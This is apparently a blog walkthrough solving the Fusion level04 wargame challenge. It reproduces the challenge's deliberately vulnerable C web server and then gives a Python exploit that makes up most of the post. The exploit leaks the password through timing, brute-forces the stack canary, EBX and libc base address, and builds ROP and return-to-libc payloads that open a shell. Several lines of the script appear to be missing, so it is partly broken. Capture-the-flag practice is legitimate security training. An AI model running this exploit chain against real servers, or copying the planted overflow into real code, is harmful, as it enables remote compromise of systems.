### Exploit Exercise Binary Exploitation Fusion level04

Hello Crazy hackers,

Welcome Again To My Blog. Today, I am going to share my solution for Exploit Exercise Fusion Level 04. Before Sharing This Solution, I just want to express my feeling with you all guyz, This Level was like Insane For Me. Really, Very Painful and Depressed. But ..... : )

I Just want to Say, Only One Point. Here I am share my solution directly. No Extra Line. Because According to my walkthrough experience, if you can't understand below provided solution on your own than, victory of this level will be meaning less.

For Details, Check Here.

### Source Codes

 ``` 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476``` ```#include "../common/common.c" // original code from micro_httpd_12dec2005.tar.gz -- acme.com. added vulnerabilities etc ;) /* micro_httpd - really small HTTP server ** ** Copyright (c) 1999,2005 by Jef Poskanzer <[email protected]>. ** All rights reserved. ** ** Redistribution and use in source and binary forms, with or without ** modification, are permitted provided that the following conditions ** are met: ** 1. Redistributions of source code must retain the above copyright ** notice, this list of conditions and the following disclaimer. ** 2. Redistributions in binary form must reproduce the above copyright ** notice, this list of conditions and the following disclaimer in the ** documentation and/or other materials provided with the distribution. ** ** THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND ** ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ** IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ** ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE ** FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ** DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS ** OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) ** HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT ** LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY ** OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF ** SUCH DAMAGE. */ #define SERVER_NAME "level04.c" #define SERVER_URL "https://gist.github.com/b69116098bcc6ef7dfb4" #define PROTOCOL "HTTP/1.0" #define RFC1123FMT "%a, %d %b %Y %H:%M:%S GMT" /* Forwards. */ static void file_details( char* dir, char* name ); static void send_error( int status, char* title, char* extra_header, char* text ); static void send_headers( int status, char* title, char* extra_header, char* mime_type, off_t length, time_t mod ); static char* get_mime_type( char* name ); static void strdecode( char* to, char* from ); static int hexit( char c ); static void strencode( char* to, size_t tosize, const char* from ); int webserver(int argc, char **argv); // random decoder void build_decoding_table(); char *password; int password_size = 16; int main(int argc, char **argv) { int fd, i; char *args[6]; /* Securely generate a password for this session */ secure_srand(); password = calloc(password_size, 1); for(i = 0; i < password_size; i++) { switch(rand() % 3) { case 0: password[i] = (rand() % 25) + 'a'; break; case 1: password[i] = (rand() % 25) + 'A'; break; case 2: password[i] = (rand() % 9) + '0'; break; } } // printf("password is %s\n", password); background_process(NAME, UID, GID); fd = serve_forever(PORT); set_io(fd); alarm(15); args[0] = "/opt/fusion/bin/stack06"; args[1] = "/opt/fusion/run"; args[2] = NULL; build_decoding_table(); webserver(2, args); } // random decoder from stackoverflow // modified to make more vulnerable #include #include #include static char encoding_table[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/'}; static char *decoding_table = NULL; static int mod_table[] = {0, 2, 1}; void base64_decode(const char *data, size_t input_length, unsigned char *output, size_t *output_length) { if (decoding_table == NULL) build_decoding_table(); // printf("data: %p, input_length: %d, output: %p, output_length: %p\n", // data, input_length, output, output_length); if ((input_length % 4) != 0) { // printf("len % 4 = fail\n"); return; } *output_length = input_length / 4 * 3; if (data[input_length - 1] == '=') (*output_length)--; if (data[input_length - 2] == '=') (*output_length)--; for (int i = 0, j = 0; i < input_length;) { uint32_t sextet_a = data[i] == '=' ? 0 & i++ : decoding_table[data[i++]]; uint32_t sextet_b = data[i] == '=' ? 0 & i++ : decoding_table[data[i++]]; uint32_t sextet_c = data[i] == '=' ? 0 & i++ : decoding_table[data[i++]]; uint32_t sextet_d = data[i] == '=' ? 0 & i++ : decoding_table[data[i++]]; uint32_t triple = (sextet_a << 3 * 6) + (sextet_b << 2 * 6) + (sextet_c << 1 * 6) + (sextet_d << 0 * 6); if (j < *output_length) output[j++] = (triple >> 2 * 8) & 0xFF; if (j < *output_length) output[j++] = (triple >> 1 * 8) & 0xFF; if (j < *output_length) output[j++] = (triple >> 0 * 8) & 0xFF; } } void build_decoding_table() { decoding_table = malloc(256); for (int i = 0; i < 0x40; i++) decoding_table[encoding_table[i]] = i; } void base64_cleanup() { free(decoding_table); } // end random decoder int validate_credentials(char *line) { char *p, *pw; unsigned char details[2048]; int bytes_wrong; int l; struct timeval tv; int output_len; memset(details, 0, sizeof(details)); output_len = sizeof(details); p = strchr(line, '\n'); if(p) *p = 0; p = strchr(line, '\r'); if(p) *p = 0; // printf("%d\n", strlen(line)); base64_decode(line, strlen(line), details, &output_len); // printf("%s -> %s\n", line, details); // fflush(stdout); p = strchr(details, ':'); pw = (p == NULL) ? (char *)details : p + 1; for(bytes_wrong = 0, l = 0; pw[l] && l < password_size; l++) { if(pw[l] != password[l]) { #if 0 char *buf; asprintf(&buf, "[%d] wrong byte (%02x vs %02x)\n", l, password[l], pw[l]); write(58, buf, strlen(buf)); #endif bytes_wrong++; } } // anti bruteforce mechanism. good luck ;> tv.tv_sec = 0; tv.tv_usec = 2500 * bytes_wrong; select(0, NULL, NULL, NULL, &tv); // printf("%d bytes wrong!\n", bytes_wrong); if(l < password_size || bytes_wrong) send_error(401, "Unauthorized", "WWW-Authenticate: Basic realm=\"stack06\"", "Unauthorized"); return 1; } int webserver( int argc, char** argv ) { char line[10000], method[10000], path[10000], protocol[10000], idx[20000]; char location[20000], command[20000]; char* file; size_t len; int ich; struct stat sb; FILE* fp; struct dirent **dl; int i, n; int authed = 0; if ( argc != 2 ) send_error( 500, "Internal Error", (char*) 0, "Config error - no dir specified." ); if ( chdir( argv[1] ) < 0 ) send_error( 500, "Internal Error", (char*) 0, "Config error - couldn't chdir()." ); if ( fgets( line, sizeof(line), stdin ) == (char*) 0 ) send_error( 400, "Bad Request", (char*) 0, "No request found." ); if ( sscanf( line, "%[^ ] %[^ ] %[^ ]", method, path, protocol ) != 3 ) send_error( 400, "Bad Request", (char*) 0, "Can't parse request." ); while ( fgets( line, sizeof(line), stdin ) != (char*) 0 ) { if ( strncmp ( line, "Authorization: Basic ", 21) == 0) authed = validate_credentials(line + 21); if ( strcmp( line, "\n" ) == 0 || strcmp( line, "\r\n" ) == 0 ) break; } if ( ! authed) send_error(401, "Unauthorized", "WWW-Authenticate: Basic realm=\"stack06\"", "Unauthorized"); if ( strcasecmp( method, "get" ) != 0 ) send_error( 501, "Not Implemented", (char*) 0, "That method is not implemented." ); if ( path[0] != '/' ) send_error( 400, "Bad Request", (char*) 0, "Bad filename." ); file = &(path[1]); strdecode( file, file ); if ( file[0] == '\0' ) file = "./"; len = strlen( file ); if ( file[0] == '/' || strcmp( file, ".." ) == 0 || strncmp( file, "../", 3 ) == 0 || strstr( file, "/../" ) != (char*) 0 || strcmp( &(file[len-3]), "/.." ) == 0 ) send_error( 400, "Bad Request", (char*) 0, "Illegal filename." ); if ( stat( file, &sb ) < 0 ) send_error( 404, "Not Found", (char*) 0, "File not found." ); if ( S_ISDIR( sb.st_mode ) ) { if ( file[len-1] != '/' ) { (void) snprintf( location, sizeof(location), "Location: %s/", path ); send_error( 302, "Found", location, "Directories must end with a slash." ); } (void) snprintf( idx, sizeof(idx), "%sindex.html", file ); if ( stat( idx, &sb ) >= 0 ) { file = idx; goto do_file; } send_headers( 200, "Ok", (char*) 0, "text/html", -1, sb.st_mtime ); (void) printf( "Index of %s\n" "

Index of %s

\n
\n",       file, file );   n = scandir( file, &dl, NULL, alphasort );   if ( n < 0 )       perror( "scandir" );   else       for ( i = 0; i < n; ++i )       file_details( file, dl[i]->d_name );   (void) printf( "
\n
\n
%s
" "\n\n", SERVER_URL, SERVER_NAME ); } else { do_file: fp = fopen( file, "r" ); if ( fp == (FILE*) 0 ) send_error( 403, "Forbidden", (char*) 0, "File is protected." ); send_headers( 200, "Ok", (char*) 0, get_mime_type( file ), sb.st_size, sb.st_mtime ); while ( ( ich = getc( fp ) ) != EOF ) putchar( ich ); } (void) fflush( stdout ); exit( 0 ); } static void file_details( char* dir, char* name ) { static char encoded_name[1000]; static char path[2000]; struct stat sb; char timestr[16]; strencode( encoded_name, sizeof(encoded_name), name ); (void) snprintf( path, sizeof(path), "%s/%s", dir, name ); if ( lstat( path, &sb ) < 0 ) (void) printf( "%-32.32s ???\n", encoded_name, name ); else { (void) strftime( timestr, sizeof(timestr), "%d%b%Y %H:%M", localtime( &sb.st_mtime ) ); (void) printf( "%-32.32s %15s %14lld\n", encoded_name, name, timestr, (int64_t) sb.st_size ); } } static void send_error( int status, char* title, char* extra_header, char* text ) { send_headers( status, title, extra_header, "text/html", -1, -1 ); (void) printf( "%d %s\n

%d %s

\n", status, title, status, title ); (void) printf( "%s\n", text ); (void) printf( "
\n
%s
" "\n\n", SERVER_URL, SERVER_NAME ); (void) fflush( stdout ); exit( 1 ); } static void send_headers( int status, char* title, char* extra_header, char* mime_type, off_t length, time_t mod ) { time_t now; char timebuf[100]; (void) printf( "%s %d %s\015\012", PROTOCOL, status, title ); (void) printf( "Server: %s\015\012", SERVER_NAME ); now = time( (time_t*) 0 ); (void) strftime( timebuf, sizeof(timebuf), RFC1123FMT, gmtime( &now ) ); (void) printf( "Date: %s\015\012", timebuf ); if ( extra_header != (char*) 0 ) (void) printf( "%s\015\012", extra_header ); if ( mime_type != (char*) 0 ) (void) printf( "Content-Type: %s\015\012", mime_type ); if ( length >= 0 ) (void) printf( "Content-Length: %lld\015\012", (int64_t) length ); if ( mod != (time_t) -1 ) { (void) strftime( timebuf, sizeof(timebuf), RFC1123FMT, gmtime( &mod ) ); (void) printf( "Last-Modified: %s\015\012", timebuf ); } (void) printf( "Connection: close\015\012" ); (void) printf( "\015\012" ); } static char* get_mime_type( char* name ) { char* dot; dot = strrchr( name, '.' ); if ( dot == (char*) 0 ) return "text/plain; charset=iso-8859-1"; if ( strcmp( dot, ".html" ) == 0 || strcmp( dot, ".htm" ) == 0 ) return "text/html; charset=iso-8859-1"; if ( strcmp( dot, ".jpg" ) == 0 || strcmp( dot, ".jpeg" ) == 0 ) return "image/jpeg"; if ( strcmp( dot, ".gif" ) == 0 ) return "image/gif"; if ( strcmp( dot, ".png" ) == 0 ) return "image/png"; if ( strcmp( dot, ".css" ) == 0 ) return "text/css"; if ( strcmp( dot, ".au" ) == 0 ) return "audio/basic"; if ( strcmp( dot, ".wav" ) == 0 ) return "audio/wav"; if ( strcmp( dot, ".avi" ) == 0 ) return "video/x-msvideo"; if ( strcmp( dot, ".mov" ) == 0 || strcmp( dot, ".qt" ) == 0 ) return "video/quicktime"; if ( strcmp( dot, ".mpeg" ) == 0 || strcmp( dot, ".mpe" ) == 0 ) return "video/mpeg"; if ( strcmp( dot, ".vrml" ) == 0 || strcmp( dot, ".wrl" ) == 0 ) return "model/vrml"; if ( strcmp( dot, ".midi" ) == 0 || strcmp( dot, ".mid" ) == 0 ) return "audio/midi"; if ( strcmp( dot, ".mp3" ) == 0 ) return "audio/mpeg"; if ( strcmp( dot, ".ogg" ) == 0 ) return "application/ogg"; if ( strcmp( dot, ".pac" ) == 0 ) return "application/x-ns-proxy-autoconfig"; return "text/plain; charset=iso-8859-1"; } static void strdecode( char* to, char* from ) { for ( ; *from != '\0'; ++to, ++from ) { if ( from[0] == '%' && isxdigit( from[1] ) && isxdigit( from[2] ) ) { *to = hexit( from[1] ) * 16 + hexit( from[2] ); from += 2; } else *to = *from; } *to = '\0'; } static int hexit( char c ) { if ( c >= '0' && c <= '9' ) return c - '0'; if ( c >= 'a' && c <= 'f' ) return c - 'a' + 10; if ( c >= 'A' && c <= 'F' ) return c - 'A' + 10; return 0; /* shouldn't happen, we're guarded by isxdigit() */ } static void strencode( char* to, size_t tosize, const char* from ) { int tolen; for ( tolen = 0; *from != '\0' && tolen + 4 < tosize; ++from ) { if ( isalnum(*from) || strchr( "/_.-~", *from ) != (char*) 0 ) { *to = *from; ++to; ++tolen; } else { (void) sprintf( to, "%%%02x", (int) *from & 0xff ); to += 3; tolen += 3; } } *to = '\0'; } ```

### Hint

```Level04 introduces timing attacks, position independent executables (PIE), and stack smashing protection (SSP). Partial overwrites ahoy!

Vulnerability Type Stack
Position Independent Executable Yes
Non-Executable stack Yes
Non-Executable heap Yes
Source Fortification Yes
```

### Exploit

```#!/usr/bin/python
import socket
import struct
import time
import base64
import string
import sys
from struct import pack
import telnetlib

# Target
V = ('192.168.56.101', 20004)

CANARY = '\x00\xdc\x03\x89'
EBX = '\xb7\x7b\x2e\x04'
BASE = 0xb760b000
OFFSET = 2032

CANARY = None
EBX = None
BASE = None
OFFSET = None

def get_rop(libc):
# execve /bin/sh generated by RopGadget v3.3
p = struct.pack("<I", libc+0x000e0096) # pop %edx | pop %ecx | pop %ebx | ret
p += struct.pack("<I", 0x42424242) # padding
p += struct.pack("<I", libc+0x00178020) # @ .data --> will hold /bin
p += struct.pack("<I", 0x42424242) # padding
p += struct.pack("<I", libc+0x000238df) # pop %eax | ret
p += "/bin"
p += struct.pack("<I", libc+0x0006cc5a) # mov %eax,(%ecx) | ret
p += struct.pack("<I", libc+0x000e0096) # pop %edx | pop %ecx | pop %ebx | ret
p += struct.pack("<I", 0x42424242) # padding
p += struct.pack("<I", libc+0x00178024) # @ .data + 4 --> hold //sh
p += struct.pack("<I", 0x42424242) # padding
p += struct.pack("<I", libc+0x000238df) # pop %eax | ret
p += "//sh"
p += struct.pack("<I", libc+0x0006cc5a) # mov %eax,(%ecx) | ret
p += struct.pack("<I", libc+0x000e0096) # pop %edx | pop %ecx | pop %ebx | ret
p += struct.pack("<I", 0x42424242) # padding
p += struct.pack("<I", libc+0x00178028) # @ .data + 8 --> goes to ecx
p += struct.pack("<I", 0x42424242) # padding
p += struct.pack("<I", libc+0x000328e0) # xor %eax,%eax | ret
p += struct.pack("<I", libc+0x0006cc5a) # mov %eax,(%ecx) | ret --> we put a null there
p += struct.pack("<I", libc+0x000e0096) # pop %edx | pop %ecx | pop %ebx | ret
p += struct.pack("<I", 0x42424242) # padding
p += struct.pack("<I", 0x42424242) # padding
p += struct.pack("<I", libc+0x00178020) # @ .data --> this goes to ebx, which points to str
p += struct.pack("<I", libc+0x000e0096) # pop %edx | pop %ecx | pop %ebx | ret
p += struct.pack("<I", 0x42424242) # padding
p += struct.pack("<I", libc+0x00178028) # @ .data + 8
p += struct.pack("<I", libc+0x00178020) # --> /bin/sh into ebx!
p += struct.pack("<I", libc+0x00001a9e) # pop %edx | ret
p += struct.pack("<I", libc+0x00178028) # @ .data + 8
p += struct.pack("<I", libc+0x000328e0) # xor %eax,%eax | ret
p += struct.pack("<I", libc+0x00026722) # inc %eax | ret
p += struct.pack("<I", libc+0x00026722) # inc %eax | ret
p += struct.pack("<I", libc+0x00026722) # inc %eax | ret
p += struct.pack("<I", libc+0x00026722) # inc %eax | ret
p += struct.pack("<I", libc+0x00026722) # inc %eax | ret
p += struct.pack("<I", libc+0x00026722) # inc %eax | ret
p += struct.pack("<I", libc+0x00026722) # inc %eax | ret
p += struct.pack("<I", libc+0x00026722) # inc %eax | ret
p += struct.pack("<I", libc+0x00026722) # inc %eax | ret
p += struct.pack("<I", libc+0x00026722) # inc %eax | ret
p += struct.pack("<I", libc+0x00026722) # inc %eax | ret
p += struct.pack("<I", libc+0x0002dd35) # int \$0x80
return p

# open /bin/sh
def opensh(base):
r = ''
r += struct.pack("I", base + 0x3cb20) # system
r += 'AAAA'
r += struct.pack("I", base + 0x001388da) # "/bin/sh"
#return get_rop(base)  <--- Another Option
return r

# Connect
def connect(IP, PORT):
# send data
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
#s.settimeout(1)
return s

# create req
def req(method='GET', path='/', protocol='HTTP/1.1', add = ''):
REQ = ''
REQ += '{} {} {}\r\n'.format(method, path, protocol)
REQ += 'Authorization: Basic '
REQ += '\r\n'*2
#print '[+] Length Of Encoded String : ', len(base64.encodestring(add))
return REQ

# Pass Extraction Function
def guess_pass(IP, PORT):
gpass = ''
l = string.ascii_letters+string.digits
while len(gpass)!=16:
print "[*] Total Character Guessed : ", gpass
print "[-] Trying : "
for i in l:
s= connect(IP, PORT)
t1 = time.time()
s.send(REQ)
s.recv(1024)
t2 = time.time()
if (t2-t1)<0.002:
print "\n[+] New Guess Detected : ", i
print "[+] Time : ", t2-t1
gpass += i
s.close()
break
else:
print i,
s.close()
return gpass

# Offset Finding Function
def find_offset(PASS):
for i in range(100, 1000):
s = connect(*V)
time.sleep(0.05)
rcv = s.recv(1024*2)
if 'smashing' in rcv:
print '[+] Output : ', rcv
print '[+] Offset : ', len(PAYLOAD)
s.close()
print rcv
break
else:
pass
s.close()
sys.stdout.write('\r -> {}'.format(i+2000))
sys.stdout.flush()
return offset

# Find Canary Function
def find_canary(PASS, offset):
canary = ''
for i in range(0, 4):
for j in range(0xFF):
if (j==ord(':')) | (j==ord('\n')) | (j==ord('\r')):
continue
s = connect(*V)
time.sleep(0.05)
rcv = s.recv(1024)
if 'smashing' not in rcv:
print '[+] Byte : ', hex(j)
canary += chr(j)
print '[+] Now Canary : ',[hex(ord(i)) for i in canary]
s.close()
#print [rcv]
break

print '[+] Canery Found : ', [canary]
print '[+] Length Of Canary : ', len(canary)
print '\n'*3
return canary
# Find EBX
def find_ebx(PASS, offset, canary):
ebx = ''
print '[+] Finding EBX..'
for i in range(0, 4):
for j in range(0xFF):
if (j==ord(':')) | (j==ord('\n')) | (j==ord('\r')):
continue
try:
s = connect(*V)
time.sleep(0.1)
rcv = s.recv(1024)
if 'smashing' not in rcv:
print '[+] Byte : ', hex(j)
ebx += chr(j)
print '[+] Now EBX : ',[hex(ord(i)) for i in ebx]
s.close()
break
except:
s.close()

print '[+] EBX Found : ', [ebx]
print '[+] Length Of EBX : ', len(ebx)
return ebx

# Ping Back
def pingback(base, pay):
r = pay
r += pack("I", base + 0x00018f4e) # pop ebx ; ret
r += pack("I", base + 0x00175e7d)
r += pack("I", base + 0xc12c0) # write.plt
r += pack("I", 0x01) * 2
r += pack("I", base + 0x0000d729) # "setrlimit" ; string
r += pack("I", 0x0A)
return r

# Find BASE
def find_base(PASS, offset, canary, ebx):
for base in range(0xb7500000, 0xb8000000, 0x1000):
try:
#raw_input('Try.')
s = connect(*V)
s.settimeout(2)
time.sleep(0.05)
rcv = s.recv(1024)
if 'setrlimit' in rcv:
print '[+] Yes! Base Address Detected.'
print "[+] Base Address : ", hex(base)
s.close()
break
s.close()
except:
s.close()
return base

def start_bin(base, PASS, offset, canary, ebx):
s = connect(*V)
time.sleep(0.5)
#s.settimeout(3)
print s.recv(1024)
print '[+] Maybe We Are Successful To Open A Shell.. Try id'
t = telnetlib.Telnet()
t.sock = s
t.interact()
s.close()
return

# ===============================================
# =================== Stage 1 ===================
# ===============================================
raw_input("[-] Stage 1 - Password Extraction .[-]\n[+] Ready [Press Enter To Start] : ")

print "[+] Password Found : ", PASS

# Find Offset
# ==================================================
# =================== Stage 2 =====================
# ==================================================
raw_input("[-] Stage 2 - Find Buffer Overflow offset [-]")

print '[*] Trying Offsets : '
offset = OFFSET or find_offset(PASS)
print "[+] Using Offset : ", offset

# ===========================================================
# ============== Stage 3 ====================================
# ===========================================================
raw_input('[+]------ Ready To Brute Force CANARY ------------------')

print '[*] Finding Canary'
canary = CANARY or find_canary(PASS, offset)
print '[+] Using CANARY : ', (canary)

# Find EBX value (PIE)
# =================================================================
# ================ finding EBP Value =================================
# =================================================================
raw_input('[+]------ Ready To Brute Force EBX ------------------')

ebx = EBX or find_ebx(PASS, offset, canary)

raw_input('[+]------ Ready To Brute Force libc BASE ------------------')

print '[+] Finding BASE..'

base = BASE or find_base(PASS, offset, canary, ebx)

print "[*] Using Base : ", hex(base)

start_bin(base, PASS, offset, canary, ebx)

exit(0)
```